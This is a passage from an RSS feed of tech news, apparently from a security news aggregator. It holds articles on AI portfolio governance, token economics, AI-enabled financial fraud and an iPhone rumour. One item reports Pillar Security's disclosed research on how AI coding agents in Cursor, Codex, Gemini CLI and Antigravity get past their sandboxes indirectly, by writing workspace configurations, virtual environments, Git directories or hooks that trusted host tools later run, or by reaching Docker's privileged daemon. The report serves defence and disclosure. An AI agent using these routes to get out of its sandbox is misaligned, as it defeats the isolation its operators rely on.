<p class="wp-block-paragraph">This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.</p>



<h2 class="wp-block-heading">The HALT framework: Horizon, Allocation, Liquidation, Tracking</h2>



<p class="wp-block-paragraph">Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.</p>



<p class="wp-block-paragraph"><strong>Component 1: Horizon. </strong>Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.</p>



<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]></title>
<description><![CDATA[What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?



What if it comes from applying principles that physicists have understood for more than a century?



According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justificat...]]></description>
<link>https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</guid>
<pubDate>Tue, 21 Jul 2026 14:03:52 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?</p>



<p class="wp-block-paragraph">What if it comes from applying principles that physicists have understood for more than a century?</p>



<p class="wp-block-paragraph">According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?</p>



<p class="wp-block-paragraph">These are important operational questions. But they are not the strategic questions.</p>



<p class="wp-block-paragraph">I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.</p>



<p class="wp-block-paragraph">While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.</p>



<h2 class="wp-block-heading">Principle 1: Value is created through transformation</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#First_law">The 1<sup>st</sup> Law of Thermodynamics</a> tells us that energy cannot be created or destroyed. It can only be transformed.</p>



<p class="wp-block-paragraph">Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.</p>



<p class="wp-block-paragraph">The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”</p>



<p class="wp-block-paragraph">This leads to a new executive metric: return on tokens (ROT).</p>



<p class="wp-block-paragraph">Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.</p>



<p class="wp-block-paragraph">The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.</p>



<h2 class="wp-block-heading">Principle 2: Every transformation creates waste</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#Second_law">The 2nd Law of Thermodynamics</a> teaches us that every energy transformation introduces inefficiencies.</p>



<p class="wp-block-paragraph">Some energy inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.</p>



<p class="wp-block-paragraph">Some are spent on:</p>



<ul class="wp-block-list">
<li>Repeated prompts</li>



<li>Oversized context windows</li>



<li>Redundant reasoning</li>



<li>Hallucinations requiring correction</li>



<li>Multiple agents performing the same work</li>



<li>Expensive models solving simple problems</li>
</ul>



<p class="wp-block-paragraph">Those tokens are not “lost.” They simply produce very little business value.</p>



<p class="wp-block-paragraph">I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.</p>



<h2 class="wp-block-heading">Principle 3: Useful work matters more than energy consumed</h2>



<p class="wp-block-paragraph">Thermodynamics introduces another important idea: <a href="https://en.wikipedia.org/wiki/Exergy">Exergy</a>.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.</p>



<p class="wp-block-paragraph">The same is true for enterprise AI.</p>



<p class="wp-block-paragraph">Imagine two companies each consuming one billion tokens. One produces meeting summaries. The other transforms claims operations, accelerates software delivery, detects fraud, improves customer retention, and creates new revenue opportunities. Both consumed the same number of tokens. Only one extracted significantly more business value.</p>



<p class="wp-block-paragraph">Borrowing this concept as a management analogy, I call this token exergy.</p>



<p class="wp-block-paragraph">Token exergy represents an organization’s ability to convert AI intelligence into meaningful business outcomes:</p>



<ul class="wp-block-list">
<li>High token exergy means AI is solving important business problems.</li>



<li>Low token exergy means AI is generating activity without creating proportional enterprise value.</li>
</ul>



<p class="wp-block-paragraph">The distinction matters, because activity is not the same as impact.</p>



<h2 class="wp-block-heading">A new responsibility for CIOs</h2>



<p class="wp-block-paragraph">For years, CIOs have monitored infrastructure: Cloud costs, storage, network utilization, GPU consumption.</p>



<p class="wp-block-paragraph">These metrics remain important, but they tell only part of the story.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html?utm=hybrid_search">Token usage needs to be measured, planned, optimized and governed with the same discipline as any other cloud resource.</a> This means that the next generation of CIO dashboards should answer different questions:</p>



<ul class="wp-block-list">
<li>What is our return on tokens?</li>



<li>Where is token entropy reducing our effectiveness?</li>



<li>How much token exergy are we generating?</li>



<li>Which AI initiatives produce the greatest business value?</li>



<li>Which use cases create the strongest competitive advantage?</li>
</ul>



<p class="wp-block-paragraph">These are no longer technology metrics. They are business metrics.</p>



<p class="wp-block-paragraph">The next generation of CIOs will not simply deploy AI. They will manage an economy of intelligence.</p>



<p class="wp-block-paragraph">Their role will resemble that of a portfolio manager — allocating AI capacity where it creates the greatest enterprise value, reducing waste and continuously improving the productivity of every autonomous workflow.</p>



<p class="wp-block-paragraph">That responsibility cannot be fulfilled by dashboards alone.</p>



<p class="wp-block-paragraph">It requires an intelligent layer capable of observing, learning and optimizing the entire AI  ecosystem. <a href="https://www.cio.com/article/4157977/micro-and-macro-agents-the-emerging-architecture-of-the-agentic-enterprise.html?utm=hybrid_search">Three-layer enterprise agentic architecture</a> Will enable this.</p>



<h2 class="wp-block-heading">The next competitive advantage</h2>



<p class="wp-block-paragraph">Every major technology revolution eventually shifts from measuring inputs to measuring outcomes:</p>



<ul class="wp-block-list">
<li>Factories stopped measuring coal consumption and began measuring productivity.</li>



<li>Cloud computing evolved beyond server utilization to business agility.</li>



<li>Digital businesses measured customer acquisition costs and lifetime value.</li>
</ul>



<p class="wp-block-paragraph">Enterprise AI is approaching the same inflection point. Organizations that focus only on token costs will optimize for efficiency. Organizations that measure return on tokens, minimize token entropy and maximize token exergy will optimize for business transformation.</p>



<p class="wp-block-paragraph">That is a fundamentally different objective. And I believe it will separate AI leaders from AI followers.</p>



<p class="wp-block-paragraph">Because in the end, the future of enterprise AI will not be determined by how many tokens an organization consumes. It will be determined by how effectively those tokens are transformed into lasting business value. <a href="https://www.cio.com/article/4183263/the-ai-adoption-spree-is-over-time-to-focus-on-value.html?utm=hybrid_search">The AI adoption spending spree is over. Time to focus on value.</a></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents can escape sandboxes without ever breaking them]]></title>
<description><![CDATA[Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. 



Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity c...]]></description>
<link>https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:46 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. </p>



<p class="wp-block-paragraph">Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity can indirectly cross security boundaries without technically escaping their sandboxes.</p>



<p class="wp-block-paragraph">“In almost every case, the agent did not need to break the sandbox directly,” the researchers said in a blog post. “It only had to write something that a trusted component outside the sandbox would later run, load, scan, or treat as safe.”</p>



<p class="wp-block-paragraph">The findings outlined four specific and repeatable failure modes in AI sandboxes. These included denylist sandboxes failing growing OS complexity, workspace configurations turning out to be executable code, command allowlists trusting command names instead of invocations, and privileged local daemons that sit outside the sandbox entirely.</p>



<p class="wp-block-paragraph">“CISOs and security buyers need to realize that it’s not enough for an agentic IDE or CLI to have a sandbox,” the researchers said, adding that it is important to know where the sandbox’s actual boundary is.</p>



<h2 class="wp-block-heading">Escaping sandboxes without breaking them</h2>



<p class="wp-block-paragraph">Pillar challenged the basic understanding of sandboxing in AI-assisted development. Rather than escaping through kernel exploits or container breakouts, the demonstrated attacks relied on an indirect mechanism.</p>



<p class="wp-block-paragraph">In all shown attack paths, the agent remains confined while producing files that trusted host-side applications subsequently consume.</p>



<p class="wp-block-paragraph">Those files may include workspace configuration, automation scripts, IDE settings, and virtual environment contents that naturally participate in a developer’s workflow. When external tools later execute or interpret those files outside the sandbox, code originating from within the isolated environment effectively crosses the security boundary without violating the sandbox’s rules.</p>



<h2 class="wp-block-heading">Different sandbox escapes for different agents</h2>



<p class="wp-block-paragraph">Pillar demonstrated the pattern across multiple AI coding tools using different techniques. In Antigravity, the researchers <a href="https://www.pillar.security/blog/escaping-antigravitys-allow-default-seatbelt" target="_blank" rel="noreferrer noopener">exploited</a> weaknesses in the denylist-style macOS Seabelt profile and abused VS Code task configurations that were later executed outside the sandbox. Cursor, meanwhile, was shown to trust agent-created <a href="https://www.pillar.security/blog/the-sandbox-let-me-edit-a-venv-and-something-else-ran-it" target="_blank" rel="noreferrer noopener">Python virtual environments</a>, alternate <a href="https://www.pillar.security/blog/git-directories-do-not-have-to-be-called-git" target="_blank" rel="noreferrer noopener">Git directories</a>, and workspace <a href="https://www.pillar.security/blog/the-hook-was-already-in-the-workspace" target="_blank" rel="noreferrer noopener">hook configurations </a>that ultimately ran with host privileges.</p>



<p class="wp-block-paragraph">The researchers also found a <a href="https://www.pillar.security/blog/one-docker-socket-to-rule-them-all-escaping-codex-cursor-and-gemini-clis-sandboxes" target="_blank" rel="noreferrer noopener">common escape path</a> affecting Cursor, Codex CLI, and Gemini CLI through Docker Desktop’s privileged daemon, allowing sandboxed agents to execute commands outside their restricted environments.</p>



<p class="wp-block-paragraph">In another Codex CLI finding, a supposedly safe Git allowlist could be manipulated to modify repository configuration and trigger code execution at a later stage.</p>



<h2 class="wp-block-heading">Agentic development demands a different security model</h2>



<p class="wp-block-paragraph">Pilar argued that enterprises need a new security model for agentic software. The existing endpoint protections typically focus on whether a process can escape its execution environment. But autonomous agents challenge this by continuously generating content that other trusted systems consume.</p>



<p class="wp-block-paragraph">The researchers recommended treating workspace configurations that can trigger execution as sensitive assets, requiring explicit approval before agents create or modify host-side automation, ensuring that helper processes operate under the same security policy as direct agent execution, and preserving provenance that distinguishes user-created files from repository- or agent-generated content. </p>



<p class="wp-block-paragraph">Organizations were also advised to model security policies around command side effects rather than simply process invocation, limit access to privileged local services, and monitor trust handoffs throughout the development workflow.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iPhone 20 Pro Max may get Apple's largest ever iPhone screen at 7 inches]]></title>
<description><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary iPhones, although that isn't as great an increase as it sounds.The display on the current iPhone 17 Pro Max is 6.86 inches.One recent rumor claimed that Apple had begun production ...]]></description>
<link>https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683281/ios-mac-os/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches/</guid>
<pubDate>Tue, 21 Jul 2026 11:57:45 +0200</pubDate>
<content:encoded><![CDATA[A new rumor claims that Apple is considering using what it will call a 7-inch screen for one of the 20th anniversary <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a>, although that isn't as great an increase as it sounds.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68308-143998-000-lead-iPhone-17-Pro-Max-display-xl.jpg" alt="Modern smartphone lying on a dark surface, screen displaying a vivid purple and pink abstract flower-like pattern with bright glowing center and small light reflections" height="720"><br><span>The display on the current iPhone 17 Pro Max is 6.86 inches.</span></div><br>One recent rumor claimed that Apple had begun <a href="https://appleinsider.com/articles/26/05/21/rumor-2027-iphone-production-testing-underway-with-quad-curved-oled-display">production evaluation</a> for a 2027 iPhone with a display that is curved on all four sides. Then another claimed that the <a href="https://appleinsider.com/inside/iphone-20" title="iPhone 20" data-kpt="1">iPhone 20</a> range would feature a <a href="https://appleinsider.com/articles/26/07/14/glass-production-plans-give-the-iphone-20-redesign-new-credibility">significant redesign</a>.<br><br>For the first time, though, a leaker is claiming that Apple is testing what would be its largest iPhone screen. According to Digital Chat Station on Chinese social media site Weibo, if it goes ahead with this screen, Apple will market it as being a <a href="https://weibo.com/6048569942/R9G4trdtx">7-inch one</a>.<br><br><br> <a href="https://appleinsider.com/articles/26/07/21/iphone-20-pro-max-may-get-apples-largest-ever-iphone-screen-at-7-inches?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245009?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Scaling Row-Level Security With ABAC on Databricks Unity Catalog]]></title>
<description><![CDATA[Onboarding a new table into row-level security should be four lines of metadata. Not two new objects, a code review, and a platform-team ticket. This post describes a tag-driven attribute-based access control (ABAC) pattern built on Databricks Unity Catalog primitives…
Read more →
The post Scalin...]]></description>
<link>https://tsecurity.de/de/3682267/it-security-nachrichten/scaling-row-level-security-with-abac-on-databricks-unity-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682267/it-security-nachrichten/scaling-row-level-security-with-abac-on-databricks-unity-catalog/</guid>
<pubDate>Tue, 21 Jul 2026 00:06:22 +0200</pubDate>
<content:encoded><![CDATA[<p>Onboarding a new table into row-level security should be four lines of metadata. Not two new objects, a code review, and a platform-team ticket. This post describes a tag-driven attribute-based access control (ABAC) pattern built on Databricks Unity Catalog primitives…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/scaling-row-level-security-with-abac-on-databricks-unity-catalog/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/scaling-row-level-security-with-abac-on-databricks-unity-catalog/">Scaling Row-Level Security With ABAC on Databricks Unity Catalog</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]></title>
<description><![CDATA[A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.At VB Transform 2026, Harrison Chase...]]></description>
